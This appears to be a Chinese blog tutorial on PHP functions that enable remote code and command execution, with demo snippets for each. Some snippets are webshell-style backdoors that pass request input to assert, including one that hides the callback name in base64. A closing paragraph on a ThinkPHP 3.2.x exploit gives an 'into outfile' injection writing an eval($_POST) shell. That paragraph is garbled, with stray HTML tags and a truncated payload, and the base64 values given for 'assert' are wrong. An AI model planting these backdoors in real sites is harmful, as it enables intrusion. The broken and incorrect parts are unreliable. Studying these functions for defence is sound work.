RCE漏洞函数

一、rce漏洞概述


        在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数


1.系统命令执行函数


(1)   system():能将字符串作为OS命令执行,且返回命令执行结果;自带有“输出”,直接输出即可实现。

实例测试:

在文件中写入结果 :

<?php

system('echo "<?php phpinfo();//" > 11111.php');

结果实现 :  先输入   127.0.0.1/demo.php    页面创建成功后输入   127.0.0.1/11111.php  即可

 

(2)exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);没有“输出” 需要自己写入,才可实现。

实例测试:

<?php

// 输出运行中的 php/httpd 进程的创建者用户名

// (在可以执行 "whoami" 命令的系统上)

$output=null;

$retval=null;

exec('whoami', $output, $retval);

echo "Returned with status $retval and output:\n";

print_r($output);

?>

结果实现:

(3)passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;与system() 类似,也可以直接输出。

实例测试:

<?php

passthru("whoami");

?>

(4)shell_exec():能将字符串作为OS命令执行,通过 shell 执行命令并将完整的输出以字符串的方式返回。

实例测试:

<?php

$output = shell_exec('whoami');

echo "<pre>$output</pre>";

?>

(5)popen():打开进程文件指针,fread管道 ,打开了一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

注:有一个模式   'r' 表示阅读,'w' 表示写入。

在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的 \n 字符都将转换为 \r\n。如果避免这种情况,可以通过将 mode 设置为 'rb' 和 'wb' 来强制执行二进制模式。

实例测试:

<?php

$handle = popen('whoami', 'r');

echo "'$handle'; " . gettype($handle) . "\n";

$read = fread($handle, 2096);

echo $read;

pclose($handle);

?>

(6)proc_open():与popen()类似,但是 proc_open() 提供了更加强大的控制程序执行的能力。

pcntl_exec():在当前进程空间执行指定程序;

<?php

$descriptorspec = array(

   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据

   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据

   2 => array("file", "d:/aaa.txt", "a") // 标准错误,写入到一个文件

);

$process = proc_open('whoami', $descriptorspec, $pipes);

if (is_resource($process)) {

    $output =stream_get_contents($pipes[1]);

    fclose($pipes[1]);

    $returnValue =proc_close($process);

    echo "0utput:".$output;

    echo "Return Value:".$returnValue;

}

?>

注:反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数


(1)eval():将字符串作为php代码执行;

(2)assert():将字符串作为php代码执行;

(3)call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

<?php

call_user_func('assert',$_REQUEST['pass'])

?>

127.0.0.1/demo.php?pass=phpinfo()

 

(4)array_filter():使用回调函数过滤数组的元素

base64 :assert 编码  YXzZXJ0

<?php

$e = $_REQUEST['e'];  //编码assert

$arr = array($_POST['pass'],);  //phpinfo()

array_filter($arr,base64_decode($e));  //'assert'

?>

127.0.0.1/demo.php?pass=phpinfo()&e=YXNzZXJO

注:可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

根据引用中提供的信息,ThinkPHP3.2.x存在一个RCE(远程代码执行漏洞。根据引用中的描述,我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意,如果使用PHP7,在调用有参函数但没有传入参数的情况下会报错,因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是,在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞】ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值